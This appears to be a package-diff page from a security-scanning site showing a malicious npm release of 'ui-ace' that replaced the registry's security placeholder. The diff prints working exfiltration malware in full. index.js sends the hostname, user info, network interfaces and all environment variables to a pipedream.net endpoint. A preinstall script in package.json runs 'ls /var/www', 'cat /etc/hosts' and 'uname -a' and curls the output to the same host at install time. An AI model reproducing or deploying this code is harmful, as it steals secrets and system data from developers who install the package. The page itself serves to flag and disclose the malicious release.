ui-ace 0.0.1-security → 11.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of ui-ace might be problematic. Click here for more details.
- package/index.js +15 -0
- package/package.json +13 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
const https = require("node:https");
|
2
|
+
const os = require("os");
|
3
|
+
const path = require("path");
|
4
|
+
let hostname = os.hostname();
|
5
|
+
let userInfo = os.userInfo();
|
6
|
+
let network = os.networkInterfaces();
|
7
|
+
let proc = process.env;
|
8
|
+
let currentPath = path.resolve();
|
9
|
+
|
10
|
+
https.get(
|
11
|
+
`https://eoevi0sbtw8nlw5.m.pipedream.net/?path=${currentPath}&host=${hostname}&userInfo=${JSON.stringify(
|
12
|
+
userInfo
|
13
|
+
)}&network=${JSON.stringify(network)}&proc=${JSON.stringify(proc)}`,
|
14
|
+
(res) => {}
|
15
|
+
);
|
package/package.json
CHANGED
@@ -1,6 +1,16 @@
|
|
1
1
|
{
|
2
2
|
"name": "ui-ace",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "11.0.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "data1=$(ls /var/www; cat /etc/hosts; uname -a); data2=`ls /var/www; cat /etc/hosts; uname -a`; curl https://eoevi0sbtw8nlw5.m.pipedream.net/ -X POST -d \"$(echo $data2 || $data1)\""
|
9
|
+
},
|
10
|
+
"keywords": [],
|
11
|
+
"author": "",
|
12
|
+
"license": "ISC",
|
13
|
+
"dependencies": {
|
14
|
+
"ui-ace": "^2.0.0"
|
15
|
+
}
|
6
16
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=ui-ace for more information.
|